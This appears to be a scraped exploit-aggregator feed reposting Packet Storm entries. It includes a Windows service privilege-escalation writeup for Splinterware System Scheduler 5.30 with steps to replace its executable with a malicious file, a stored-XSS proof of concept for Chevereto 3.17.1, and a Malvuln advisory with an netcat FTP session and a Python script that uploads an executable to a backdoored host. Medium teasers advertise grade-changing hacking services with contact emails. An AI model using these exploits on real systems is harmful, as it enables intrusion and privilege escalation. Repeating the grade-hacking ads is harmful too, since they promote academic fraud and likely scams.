Exploit Collector
Splinterware System Scheduler Professional 5.30 Unquoted Service Path

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Splinterware System Scheduler Professional version 5.30 suffers an unquoted service path vulnerability.

MD5 | 8f6dbe88705c0cb72b7fc1c5e9131baf

Download
# Exploit Title: Splinterware System Scheduler Professional 5.30 - Unquoted Service Path
# Date: 2021-05-11
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.splinterware.com
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Version: 5.30 Professional
# Tested on: Windows 10 Pro 20H2 x64

System Scheduler Professional 5.30 is subject to privilege escalation due to insecure file permissions, impacting
where the service 'WindowsScheduler' calls its executable. A non-privileged user could execute arbitrary code with
elevated privileges (system level privileges as "nt authority\system") since the service runs as Local System;
renaming the WService.exe file located in the software's path and replacing it with a malicious file, the new one
will be executed after a short while.

C:\Users\test>sc qc WindowsScheduler
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: WindowsScheduler
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 0 IGNORE
NOME_PERCORSO_BINARIO : C:\PROGRA~2\SYSTEM~1\WService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : System Scheduler Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

C:\Users\test>icacls C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1\ BUILTIN\Users:(RX,W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GW,GE)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(OI)(CI)(IO)(GR,GE)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(OI)(CI)(IO)(GR,GE)

Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file

C:\Users\test>


Source:packetstormsecurity.com

Exploit Collector
Chevereto 3.17.1 Cross Site Scripting

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Chevereto version 3.17.1 suffers from a persistent cross site scripting vulnerability.

MD5 | d2fa311cc91e61a5447460593e31993d

Download
# Exploit Title: Chevereto 3.17.1 - Cross Site Scripting (Stored)
# Google Dork: "powered by chevereto"
# Date: 19.04.2021
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://chevereto.com/
# Software Link: https://chevereto.com/releases
# Version: 3.17.1
# Tested on: Windows 10 / Xampp

Proof of Concept:

1. Press the Upload image button and upload any image.
2. After uploading the image, press the pencil icon on the top right of the image and write "><svg instead of the title.
3. Upload the picture and go to the picture address.


Source:packetstormsecurity.com

Exploit Collector
Windows Container Manager Service CmsRpcSrv_CreateContainer Privilege Escalation

https://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png
The Container Manager Service accepts an access token provided by the user without verification allowing an arbitrary process to be created with another user identity leading to privilege escalation.

MD5 | 12c1abb8e71fc62e306c9bc1dea254d3

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Container Manager Service CmsRpcSrv_MapNamedPipeToContainer Privilege Escalation

https://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png
The Container Manager Service does not configure STORVSP correctly when opening mapped named pipes leading to privilege escalation.

MD5 | 970b0826e9c53e62fb981f362a8095f7

Download
Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Delf.zho Authentication Bypass / Code Execution

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Backdoor.Win32.Delf.zho malware suffers from bypass and code execution vulnerabilities.

MD5 | 487f9e14ba262dfab66e64b94678938b

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9f5a0512af3ab33c26eaa4bdf94f1f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.zho
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21 and TCP ports 14920 to 14923. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f
Vuln ID: MVID-2021-0205
Disclosure: 05/11/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,198,78).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.127"
#Calculate port 198*256 + 78 = 50766
PORT=50766
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.Delf.zho / Authentication Bypass RCE")
print("MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Hacking on Medium
Hack Into College Grades Without Hacking Experience

https://cdn-images-1.medium.com/max/1289/0*qOn7BEs9wZntgZpe.png
Hack Into College Grades Without Hacking Experience Contact Us On CREATIVEHACKERS2@GMAIL.COM

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
1,000+ Gas Stations Ran Out of…Gas

https://cdn-images-1.medium.com/max/976/1*sq5QkqhKL79SgCThFKSyKg.png
CHAMBLEE, Ga. — More than 1,000 gas stations in the Southeast reported running out of fuel, primarily because of what analysts say is…

Continue reading on Morning Sixpack »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Change Your Grades Online Permanently

https://cdn-images-1.medium.com/max/1289/0*u6JpHeaTxL0-CjuQ.png
How To Change Your Grades Online Permanently Contact Us On CREATIVEHACKERS2@GMAIL.COM

Continue reading on Medium »

Hacking on Medium
HOW TO HIRE A HACKER TO CHANGE MY SCHOOL GRADES QULIOUSHACKER@GMAIL.COM

A Lot of People are Usually worried in regards to the fact that they have very reduced rates, and they need there is certainly something…

Continue reading on Medium »

Hacking on Medium
Cron Jobs Part 1

Cron jobs are tasks or programs that are run on a set schedule in a Unix operating system. They can be created by the system, or they can…

Continue reading on Medium »